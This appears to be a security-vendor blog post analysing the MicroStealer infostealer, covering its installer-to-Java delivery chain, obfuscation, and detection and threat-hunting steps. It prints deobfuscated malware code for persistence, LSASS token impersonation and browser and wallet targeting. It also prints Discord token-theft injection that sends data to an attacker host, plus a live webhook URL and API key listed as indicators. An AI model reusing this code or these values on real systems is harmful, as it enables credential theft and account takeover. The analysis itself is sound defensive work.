MicroStealer Analysis: A Fast-Spreading Infostealer with Limited Detection 

Security teams depend on early signals to spot and contain new threats. But what happens when a fully capable infostealer spreads while traditional detections stay limited? 

In recent investigations, ANY.RUN researchers observed MicroStealer in 40+ sandbox sessions in less than a month, despite low public visibility. Early activity points to distribution through compromised or impersonated accounts, with education and telecommunications among the affected sectors.

MicroStealer is more than just another stealer. It targets browser credentials, session data, screenshots, and wallet files while using a layered NSIS → Electron → Java delivery chain that can slow confident detection.

Let’s break down how MicroStealer operates and how its behavior can be uncovered early in ANY.RUN’s interactive sandbox, helping teams shorten time to verdict, reduce unnecessary escalations, and prevent credential theft from becoming a business impact.

Key Takeaways 

• MicroStealer exposes a broader business risk by stealing browser credentials, active sessions, and other sensitive data tied to corporate access.

• The malware uses a layered NSIS → Electron → JAR chain that helps it stay unclear longer and slows confident detection.

• Distribution through compromised or impersonated accounts makes the initial infection look more trustworthy to victims.

• For enterprises, the main danger is delayed visibility while identity compromise and data theft are already in progress. 

• Behavior-based analysis is critical for confirming the threat quickly and reducing time to containment.

The Business Risk Behind MicroStealer 

For security leaders, MicroStealer reflects a threat designed to steal identity data, maintain access, and increase the chance of a wider enterprise incident. 

• Corporate identities become exposed: Browser credential theft and session cookie extraction compromise SaaS accounts, internal portals, VPN sessions, and cloud administration access tied to employee browsers.

• Privilege expansion becomes possible: Access to authentication tokens, browser sessions, and system credentials creates a path from a single compromised endpoint to privileged accounts and internal systems.

• Stealthy access persists longer: Stolen session data allows attackers to operate through valid user sessions, blending malicious activity with legitimate traffic across enterprise services.

• Data loss begins immediately: Screenshots, browser data, wallet files, and application artifacts are collected and exfiltrated through multiple channels, ensuring sensitive information leaves the environment quickly.

• Attackers gain reconnaissance value: Profiling of Discord and Steam accounts provides intelligence about the victim’s activity, helping attackers prioritize higher-value targets.

For CISOs, MicroStealer highlights a familiar enterprise risk: attackers can use stolen identities, stealthy delivery methods, and fast data theft to stay undetected, expand access inside the environment, and increase the risk of operational, compliance, and reputational damage.

Timeline of Observed MicroStealer Activity 

MicroStealer activity was first observed on December 14 during the analysis of the following analysis session inside ANY.RUN sandbox:

Check analysis session  

Over the following period, its activity continued to grow, and at the time of analysis it had already been identified in more than 40 sandbox sessions in less than one month, indicating an active distributionphase. 

However, despite the malware’s growing popularity, security vendors are still not detecting MicroStealer.

The highest concentration of detections was observed between January 7 and January 11, when 20 sandbox sessions containing MicroStealer activity were recorded. This suggests that MicroStealer is gaining traction. 

When visiting the malicious resource, the victim is presented with a visually appealing website: 

When the “Download Now” button is clicked, a JavaScript file is executed. It downloads a malicious file from Dropbox and sends the victim’s external IP address, region, OS version, and time zone to a Discord server.

This basic information serves as a beacon. However, if the downloaded malicious file is executed, MicroStealer steals data from web browser profiles, takes desktop screenshots, and sends the collected data as an archive to two destinations: a Discord server and a newly registered exfiltration server.

In this way, the stealer increases the chances that the stolen data will reach the attacker even if one of the servers becomes unavailable for some reason.

MicroStealer also uses the same name in its User-Agent header during the first GET request to Discord:

User-Agent: MicroStealer/1.0 

In addition to Dropbox, there were also cases where the sample was downloaded from other sources, for example: cdn[.]discordapp[.]com 

Victimology and Targeting 

Analysis of MicroStealer-related submissions to the ANY.RUN sandbox shows that 50% of observed sample uploads originated from the United States and Germany, pointing to notable activity in these regions.

Based on the observed cases, the education and telecommunications sectors appear to face elevated exposure. 

threatName:”microstealer” 

The distribution pattern also suggests that threat actors rely on compromised or impersonated accounts to deliver the malware, increasing the likelihood that victims will trust the source and execute the payload. 

Inside the MicroStealer Execution Chain 

The ANY.RUN sandbox provides a clear overview of the MicroStealer execution chain and detects the malware’s primary behavioral patterns, making it easier to begin the analysis.

To better understand how each component operates, the analysis proceeds with static analysis. The first stage in the infection chain is RocobeSetup.exe.

RocobeSetup is an NSIS installer (Nullsoft Scriptable Install System), which becomes immediately apparent when analyzing the binary using Detect It Easy (DIE) (Detect It Easy).

Since the installer has an archive structure, its contents can be inspected without executing the malware or using specialized analysis tools.

Among the files, the next stage in the infection chain can already be identified: Game Launcher.exe. The analysis then moves on to the other directories within the archive.

Inside the resource directory, two ASAR archives (Atom Shell Archive) can be found: app.asar and app.asar.unpacked. The latter contains the **main stealer module, an executable JAR file, along with a Java Runtime Environment (JRE), packaged inside the archive module.zip.

After unpacking app.asar using a standard ASAR unpacker, a small Node.js component becomes visible.

Static Analysis of the Node.js Component 

At this stage, the focus shifts to the main script located in index.js. Opening it in a text editor immediately reveals multiple signs of obfuscation, including compressed strings, constants grouped into arrays, flattened control flow, and dead code.

The next step is to analyze the string handling logic, since strings are used extensively throughout the program and can help reconstruct the malware’s execution flow.

To understand how the malware retrieves the strings it needs, let us examine the following code block:

var wa4Ibtk; 
(function () { 
function* mjAYxpv(mjAYxpv, JbBfOsP, PXuU6i, Tky9na = { 
rwLytg: {} 
}) { 
while (mjAYxpv + JbBfOsP + PXuU6i !== 124) with(Tky9na.bWzSK3 || Tky9na) switch (mjAYxpv + JbBfOsP + PXuU6i) { 
default: 
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-57, -181, 104]; 
Tky9na.bWzSK3 = Tky9na.TDHlw5, mjAYxpv += -134, JbBfOsP += 290, PXuU6i += 145; 
break; 
case 162: 
case PXuU6i - -62: 
Tky9na.bWzSK3 = Tky9na.Q6N0rF, mjAYxpv += -340, JbBfOsP += 290; 
break; 
case Tky9na.rwLytg.AggjBE + -186: 
Tky9na.bWzSK3 = Tky9na.IQz1SBX, mjAYxpv += -211, JbBfOsP += 290; 
break; 
case -216: 
case 9: 
case -78: 
case 60: 
case PXuU6i - 190: 
case -96: 
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-62, 172, 231]; 
rwLytg.DDXChP = "ɡⱃ¼ǀ⼡砫\ư෠祘ഀΠ䌡渡洀ં䊡䚐ɰଊ‥<䜀ྀᕩö (...truncated)"; 
rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP); 
Tky9na.bWzSK3 = Tky9na.rwLytg, mjAYxpv += -83, JbBfOsP += 227, PXuU6i += -441; 
break; 
case 40: 
case 235: 
case mjAYxpv - -42: 
Tky9na.rwLytg.zxxO0HE = tuWPH66.split("|"); 
return oh5cES = !0, wa4Ibtk = function (mjAYxpv) { 
return zxxO0HE[mjAYxpv] 
} 
} 
} 
var oh5cES, JbBfOsP = mjAYxpv(-31, -159, 415).next().value; 
if (oh5cES) { 
return JbBfOsP 
} 
})(); 

As we can see, all strings are combined and compressed using the LZ-String library into a single sequence of Unicode characters, stored in the variable DDXChP (for example, “ɡⱃ¼ǀ⼡砫ư෠祘ഀΠ䌡渡洀…”).

To restore them, the malware uses the decompressFromUTF16 method: rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP); 

This means that the value stored in DDXChP is the result of UTF-16-based compression. The obfuscator may reference the library under a different name, such as cIb9x8P, but the logic remains the same: the original string data is reconstructed from the compressed sequence.

After decompression, the resulting string is split using the | delimiter: Tky9na.rwLytg.zxxO0HE = tuWPH66.split(“|”); 

A specific string is then retrieved by index through a getter function: 

wa4Ibtk = function (mjAYxpv) { 
    return zxxO0HE[mjAYxpv]; 
}; 

Later, the malware references these strings through calls such as wa4Ibtk(3), wa4Ibtk(7), and wa4Ibtk(11), where the argument represents an index in the zxxO0HE array.

After removing the unnecessary junk code, this logic can be represented in the following simplified form:

var GetString; 
(function InitializeStringTable() { 
var compressed = "ɡⱃ¼ǀ⼡砫\ư෠祘ഀΠ䌡渡洀 (...truncated)"; 
var decompressed = lzObject.decompressFromUTF16(compressed); 
 
stringTable = decompressed.split("|"); 
GetString = function (index) { 
return stringTable[index]; 
}; 
})(); 

Next, we copy the lzObject implementation from the target script and run the resulting function in a separate script. This makes it possible to extract all strings used by the program. Since the total number of recovered strings is quite large, only some of the most interesting examples are shown below, along with their indices.

Note that many strings are truncated and concatenated directly in the code. Their full values are provided in parentheses:

[2]  spawn 
[3]  exec 
[59] env 
 
[11-25] 
    try { 
        Start-Process -FilePath " -ArgumentList '--install' -Verb RunAs 
        Stop-Process -Id 
        exit 0 
    } catch { 
        exit 1 
    } 
 
[35-41] powershell -ExecutionPolicy Bypass -NoProfile -NonInteractive -File " 
 
[27]    tmpdir 
[32-34] writeF + ileSyn (writeFileSync) 
[54-55] unlink + Sync (unlinkSync) 
[79]    exists 
[107-108] readFi + leSync (readFileSync) 
 
[60-65] LOCALA + PPDATA → USERPR + OFILE → AppDat + a + Local (LOCALAPPDATA / USERPROFILE / AppDataLocal) 
[66]    soft.j (soft.jar) 
[67]    model 
[68]    jre 
[69]    bin 
[70-71] miicro + soft.e (miicrosoft.exe) 
[73-74] resour + cesPat (resourcesPath) 
[76-78] app.as + ar.unp + acked (app.asar.unpacked) 
[81-82] model. + zip (model.zip) 
 
[128]   -jar 
[129-132] detach (detached), stdio, ignore, unref 
[140-141] --inst + all (--install) 

Let us now examine the obfuscated code fragments that implement the logic for launching the main payload, which is distributed in JAR format: 

    const mjAYxpv = [0, null, 32, 2, 1, 256, 6, 3, 8, 16, 4, "undefined", "LZString", "=", " ", ";", "\\", 15, 30, """, !1, !0, void 0, 26, 59, 10, 73, 74, "h", 55, 66,"ar", 79, 1023, 65536, 55296, 56320, 63, 31, 12, 18, 7, 128, 192, "e", 91, 92, 93, 255, 224, 240, 97, 98, 99, 100, "d", 33, "c", ")", 106, 107, 108, "g", 24, 60, 1000]; 
 
    // ... 
 
    const Tky9na = require("fs"), 
    _LLSkL = require("path"), 
    { 
        [wa4Ibtk(mjAYxpv[3])]: E5NpXn, 
        [wa4Ibtk(mjAYxpv[7])]: TD4p2BE 
    } = require("child_process"), 
    peB9yJ = require("os"), 
    OnZdH7B = require("adm-zip"); 
 
    // ... 
 
    const JbBfOsP = process[wa4Ibtk(mjAYxpv[24])][wa4Ibtk(mjAYxpv[64]) + wa4Ib(61)] || _LLSkL[wa4Ibtk(mjAYxpv[23])](process[wa4Ibtk(mjAYxpv[24])][wa4Ibtk(62) +wa4Ibtk(mjAYxpv[37])], wa4Ibtk(64) + "a", wa4Ibtk(65)), 
        TD4p2BE = _LLSkL[wa4Ibtk(mjAYxpv[23])](JbBfOsP, wa4Ibtk(mjAYxpv[30]) + mjAYxpv[31]), 
        peB9yJ = _LLSkL[wa4Ibtk(mjAYxpv[23])](JbBfOsP, wa4Ibtk(67), wa4Ibtk(68), wa4Ibtk(69), wa4Ibtk(70) + wa4Ibtk(71) + "xe"); 
 
    // ... 
 
    const vWOBncd = E5NpXn(peB9yJ, [wa4Ibtk(mjAYxpv[42]), TD4p2BE], { 
        [wa4Ibtk(129) + "ed"]: mjAYxpv[21], 
        [wa4Ibtk(130)]: wa4Ibtk(131), 
        [wa4Ibtk(mjAYxpv[24])]: process[wa4Ibtk(mjAYxpv[24])] 
    }); 
    vWOBncd[wa4Ibtk(132)](); 
    process[wa4Ibtk(mjAYxpv[59])](mjAYxpv[0]) 

After removing the junk code and substituting the resolved strings, this logic can be represented in the following much more readable form: 

const fs = require("fs"); 
const path = require("path"); 
const { spawn, exec } = require("child_process"); 
const os = require("os"); 
const AdmZip = require("adm-zip"); 
 
const baseDir = 
    process.env.LOCALAPPDATA || 
    path.join(process.env.USERPROFILE, "AppData", "Local"); 
 
const jarPath = path.join(baseDir, "soft.jar"); 
 
const javaExePath = path.join( 
    baseDir, 
    "model", 
    "jre", 
    "bin", 
    "miicrosoft.exe" 
); 
 
const child = spawn( 
    javaExePath, 
    ["-jar", jarPath], 
    { 
        detached: true, 
        stdio: "ignore", 
        env: process.env 
    } 
); 
 
child.unref(); 
 
process.exit(0); 

The malware then extracts an embedded JRE, disguises the executable as miicrosoft.exe, launches the JAR file in the background, and immediately terminates the main Node.js process, allowing the payload to continue running independently.

Breaking Down the Execution Chain 

As part of its execution chain, the malware also attempts to obtain elevated privileges. This stage is not analyzed in detail here, as it relies primarily on social engineering: the victim is simply presented with a UAC prompt that is likely to be perceived as a normal part of the installation process. 

The PowerShell script used for this step is shown below: 

try { 
    Start-Process -FilePath "Game Launcher.exe" -ArgumentList '--install' -Verb RunAs 
    Stop-Process -Id (pid) 
    exit 0 
} catch { 
    exit 1 
} 

At this stage, the role of Game Launcher.exe becomes clear. The presence of the resources directory containing an ASAR archive and a Node.js project indicates the use of Electron. Analysis in Ghidra confirms this: a modal window prompts to load electron.pdb, and both the strings and the entry point contain characteristic Electron artifacts.

Ultimately, Game Launcher.exe is an Electron application used as part of the malware delivery chain. The execution flow is as follows: 

• NSIS (RocobeSetup.exe): An archive installer containing the malicious payload 

• Electron (Game Launcher.exe): Requests administrator privileges through UAC 

• Electron (Game Launcher.exe –install): Extracts and launches the JAR file 

• Java (miicrosoft.exe -jar soft.jar): Executes the main malicious logic 

The combination of an NSIS installer and Electron significantly complicates the static analysis of the malware. Electron can directly read and execute JavaScript code from an ASAR archive without extracting it to the file system, bypassing traditional signature-based detection mechanisms. 

At the same time, the NSIS installer ensures that the malicious files remain unavailable for analysis or detection until the installer itself finishes execution. 

Static Analysis of the Java Module 

The next step is to analyze the main module by loading the JAR file into a disassembler. Once again, we encounter obfuscated code; this time on the Java side. As with the Node.js component, the strings are encrypted and recovered through helper functions. A representative fragment is shown below:

private static void lambda$checkEnvironment$1(String str) throws Exception { 
    int iD = a.d(); 
    String[] strArr = new String[a(0x5e23, 0x6709cb2b9951dedeL)]; 
    strArr[0] = a((int) 0xfffff707, (int) 0xfffff6e2); 
    strArr[1] = a((int) 0xfffff636, (int) 0xffff90f5); 
    strArr[2] = a((int) 0xfffff6c2, (int) 0xfffff530); 
     
    // ... 
 
    ?? AnyMatch = iD; 
    AnyMatch = Arrays.asList(strArr).stream().anyMatch((v1) -> { 
        return lambda$null$0(r1, v1); 
    }); 
} 

After identifying this characteristic pattern, we examined the header of the .class file to look for traces of the obfuscator in use, and immediately found ZKM (Zelix KlassMaster) v21.0.0.

There are already several effective public deobfuscators available for this version of ZKM. In this case, Threadtear was used with a set of ZKM-focused modules, including string deobfuscation, access restoration, flow deobfuscation, and several additional modules for bytecode cleanup. After successful deobfuscation, the analysis proceeded to the malware’s core functionality.

Overview of MicroStealer Capabilities 

After deobfuscation, the code became significantly more readable, although not entirely; some parts of the logic still remain convoluted. Even so, the core functionality of MicroStealer is already open to analysis. Let us look at its modules in more detail:

Persistence 

Persistence is implemented through the Windows Task Scheduler: 

private void a() throws InterruptedException, IOException { 
    String string = System.getenv("LOCALAPPDATA"); 
    string = System.getProperty("user.home") + "\AppData\Local"; 
    String string2 = string + "\model\jre\bin\miicrosoft.exe"; 
    String string3 = string + "\soft.jar"; 
    String string4 = System.getProperty("user.name"); 
    String string5 = "App_" + string4; 
    String string6 = String.format("schtasks /create /tn "%s" /tr "\"%s\" -jar \"%s\"" /sc ONLOGON /delay 0000:05 /rl HIGHEST /f", string5, string2, string3); 
    Process process = Runtime.getRuntime().exec(string6); 
    process.waitFor(); 
} 

The command creates a task in Windows Task Scheduler with the ONLOGON trigger (executed when the user logs in), a 5-second delay, and highest privileges (HIGHEST). As a result, the malwareautomatically resumes operation even after the system is rebooted. 

Virtual Machine Detection 

MicroStealer checks the execution environment for processes and services typically associated with virtual machines. If at least one match is found, execution is terminated immediately.

Despite these anti-analysis checks, the sample executes successfully in the ANY.RUN sandbox, allowing its behavior to be fully exposed during analysis.

This makes it possible to observe the malware’s logic in action and extract valuable IOCs for further detection and threat hunting. 

private static void checkEnvironment(String str) throws Exception { 
    String[] strArr = new String[13]; 
    strArr[0]  = "vmwaretray"; 
    strArr[1]  = "vmwareuser"; 
    strArr[2]  = "vgauthservice"; 
    strArr[3]  = "vmacthlp"; 
    strArr[4]  = "vmsrvc"; 
    strArr[5]  = "vmusrvc"; 
    strArr[6]  = "vmtoolsd"; 
    strArr[7]  = "vboxservice"; 
    strArr[8]  = "vboxtray"; 
    strArr[9]  = "qemu-ga"; 
    strArr[10] = "xenservice"; 
    strArr[11] = "prl_cc"; 
    strArr[12] = "prl_tools"; 
 
    boolean anyMatch = Arrays.asList(strArr) 
        .stream() 
        .anyMatch(v1 -> str.toLowerCase().contains(v1)); 
 
    if (anyMatch) { 
        Runtime.getRuntime().halt(0); 
    } 
} 

Browser Data Theft 

MicroStealer supports a wide range of Chromium-based browsers, as well as Opera and Opera GX. For each detected browser, it accesses the user’s profile data and then extracts protected information using Windows DPAPI.

put("Chrome", localAppData + "\Google\Chrome\User Data"); 
put("Brave", localAppData + "\BraveSoftware\Brave-Browser\User Data"); 
put("Edge", localAppData + "\Microsoft\Edge\User Data"); 
put("Vivaldi", localAppData + "\Vivaldi\User Data"); 
put("Yandex", localAppData + "\Yandex\YandexBrowser\User Data"); 
put("Chromium", localAppData + "\Chromium\User Data"); 
// ... 
 
put("Opera", appData + "\Opera Software\Opera Stable"); 
put("Opera GX", appData + "\Opera Software\Opera GX Stable"); 

Interaction with LSASS 

When LSA protection is disabled (RunAsPPL = 0), the malware attempts to obtain elevated privileges by interacting with the lsass.exe process. It enables SeDebugPrivilege, searches for LSASS in the process list, and then duplicates its security token and impersonates the token in the current thread:

Advapi32Util.registryGetIntValue(HKEY_LOCAL_MACHINE,  
    "SYSTEM\CurrentControlSet\Control\Lsa", "RunAsPPL"); 
 
af.INSTANCE.RtlAdjustPrivilege(SeDebugPrivilege, true, false, intByReference); 
 
WinNT.HANDLE snapshot = Kernel32.INSTANCE.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
while (Kernel32.INSTANCE.Process32Next(snapshot, processEntry)) { 
    if ("lsass.exe".equalsIgnoreCase(Native.toString(processEntry.szExeFile))) { 
        HANDLE hProcess = Kernel32.INSTANCE.OpenProcess(PROCESS_QUERY_INFORMATION, false, processEntry.th32ProcessID); 
         
        Advapi32.INSTANCE.OpenProcessToken(hProcess, TOKEN_DUPLICATE, tokenHandle); 
        Advapi32.INSTANCE.DuplicateToken(tokenHandle.getValue(), SecurityImpersonation, duplicatedToken); 
        Advapi32.INSTANCE.ImpersonateLoggedOnUser(duplicatedToken.getValue()); 
        break; 
    } 
} 

Screen Capture 

The malware captures the user’s current screen using java.awt.Robot. The resulting image is saved in PNG format and then packaged into a ZIP archive for later exfiltration.

Robot robot = new Robot(); 
Rectangle screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()); 
BufferedImage screenshot = robot.createScreenCapture(screen); 
ImageIO.write(screenshot, "png", new File("screenshot.png")); 

Additional MicroStealer Functionality 

MicroStealer targets both browser-based cryptocurrency wallet extensions (via Local Extension Settings) and desktop wallet applications. The wallet files are copied in full, without any additional processing.

put("Metamask", "\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn"); 
put("Phantom", "\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa"); 
put("Trust Wallet", "\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph"); 
put("Coinbase", "\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad"); 
// ... 
 
put("Exodus", appData + "\Exodus\exodus.wallet"); 
put("Electrum", appData + "\Electrum\wallets"); 
put("AtomicWallet", appData + "\atomic\Local Storage\leveldb"); 
put("Ethereum", appData + "\Ethereum\keystore"); 
put("Jaxx", appData + "\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb"); 
// ... 

JavaScript code is injected into the Discord desktop application, using Webpack Chunk Injection to access internal client modules and the Chrome DevTools Protocol (CDP) to intercept network requests and monitor user activity. 

const { session, BrowserWindow } = require('electron'); 
const C = { webhook: { url: 'https://78smp.com/m/' } }; 
 
// token extraction from webpack 
window.webpackChunkdiscord_app.push([ 
    [Math.random()], {}, 
    (r) => { 
        for (const mid in r.c) { 
            const getToken = r.c[mid]?.exports?.default?.getToken; 
            if (typeof getToken === 'function') return getToken(); 
        } 
    } 
]); 
 
// CDP-based network interception 
w.webContents.debugger.attach('1.3'); 
w.webContents.debugger.on('message', async (_, m, p) => { 
    // /auth/login, /mfa/totp, /users/@me 
    // exfiltration to Discord webhook 
}); 

The malware intercepts events related to logins, credential changes, 2FA enablement, and the addition of payment methods such as Stripe and Braintree/PayPal. In addition, it collects account metadata such as badges, Nitro level, and similar attributes, which may indicate an attempt to profile victims.

Steam Account Profiling 

The malware also collects information about the victim’s Steam account. Using a hardcoded API key, the stealer queries the Steam Web API to retrieve the profile level, number of owned games, and account creation date. 

While this information does not provide direct access to the account on its own, it may be used to assess the victim’s value and prioritize targets, similarly to the profiling observed in Discord.

String apiKey = "440D7F4D810EF9298D25EDDF37C1F902"; 
 
String levelUrl = String.format( 
    "https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=%s&steamid=%s", 
    apiKey, steamId 
); 
 
String gamesUrl = String.format( 
    "https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=%s&steamid=%s", 
    apiKey, steamId 
); 
 
String summaryUrl = String.format( 
    "https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=%s&steamids=%s", 
    apiKey, steamId 
); 

Detecting MicroStealer Early: A Practical Investigation Loop 

MicroStealer highlights a familiar problem for many security teams: new malware families often appear before reliable signatures or threat intelligence become widely available.

When that happens, defenders are left with suspicious files, unclear alerts, and limited external context. Without fast verification, attackers can quietly collect credentials, session tokens, and other sensitive data while investigations stall. 

Early detection depends on how quickly a team can move from uncertain signals to confirmed malicious behavior. 

1. Monitoring: Spot Suspicious Infrastructure Early 

Infostealers often rely on external services and fresh infrastructure for data exfiltration. In the case of MicroStealer, stolen information is transmitted through Discord webhooks and attacker-controlled servers.

Monitoring for newly observed infrastructure and suspicious connections can help teams catch early signs of compromise before the malware fully completes its collection and exfiltration stages. 

ANY.RUN’s Threat Intelligence Feeds continuously surface newly observed indicators based on telemetry and submissions from 15,000+ organizations and 600,000+ security professionals. 

For SOC teams, this means fewer blind spots in monitoring and earlier visibility into suspicious domains, IPs, and attacker infrastructure. 

2. Triage: Confirm Behavior Instead of Guessing 

New malware families like MicroStealer often lack clear static signatures or reliable reputation data, which slows down traditional investigation workflows.

Instead of relying only on static verdicts, analysts can quickly confirm what a suspicious file actually does by executing it in a controlled environment. 

Running the sample in the ANY.RUN interactive sandbox reveals the full execution chain, including: 

• NSIS installer delivering the payload 
• Electron loader extracting the JAR module
• Java stealer executing its data collection logic  
• Attempts to steal browser credentials and wallet data 
• Communication with Discord webhooks and external servers 

Within minutes, analysts can observe the complete attack chain, extract reliable IOCs, and determine whether the sample poses a real threat.

For SOC teams, this replaces guesswork with behavior-based evidence, helping reduce investigation time and avoid unnecessary escalations.

3. Threat Hunting: Expand Detection from One Sample 

Once a stealer like MicroStealer is confirmed, the next step is ensuring it does not appear elsewhere in the environment. 

Using Threat Intelligence Lookup, analysts can pivot from the initial indicators to discover related infrastructure, connected samples, and similar activity patterns. 

This allows teams to: 

• identify related domains and IP addresses 
• find other samples using the same infrastructure 
• detect variants using the same delivery chain 

threatName:”microstealer” 

By pivoting across infrastructure and behavior, organizations can transform a single investigation into broader detection coverage across the environment. 

Conclusion: Faster Clarity Means Lower Risk 

MicroStealer demonstrates how modern infostealers combine layered delivery chains, heavy obfuscation, and anti-analysis techniques to slow down detection. 

However, even complex malware becomes manageable when teams can quickly move from uncertain alerts to clear behavioral evidence. 

By combining early monitoring, fast behavioral triage, and targeted threat hunting, security teams can uncover emerging threats faster, reduce investigation time, and limit the risk of data theft inside corporate environments. 

Bring speed and clarity to your SOC with ANY.RUN ➜ 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, fits naturally into modern SOC workflows and supports investigations from initial alert to final containment. 

The platform allows teams to safely execute suspicious files and URLs, observe real behavior in an interactive environment, enrich indicators with immediate context through TI Lookup, and continuously monitor emerging infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce uncertainty, accelerate triage, and limit unnecessary escalations across the SOC. 

ANY.RUN also meets enterprise security and compliance expectations. The company is SOC 2 Type II certified, reinforcing its commitment to protecting customer data and maintaining strong security controls.

Indicators of Compromise (IOCs)   

Analyzed Files 

Network indicators 

HTTPS Request: 

https[:]//78smp[.]com/m/ 

https[:]//discord[.]com/api/webhooks/1460660027969896695/FQ2nam1vUVDwLbiTZCPen9C53eBMg_qB3-z8pGRtZ3ZerbyflDnzfmJVLpgElxMNfO41 

Domains: 

API Keys

Steam Web API Key: 440D7F4D810EF9298D25EDDF37C1F902 

MITRE ATT&CK Techniques 

The post MicroStealer Analysis: A Fast-Spreading Infostealer with Limited Detection  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More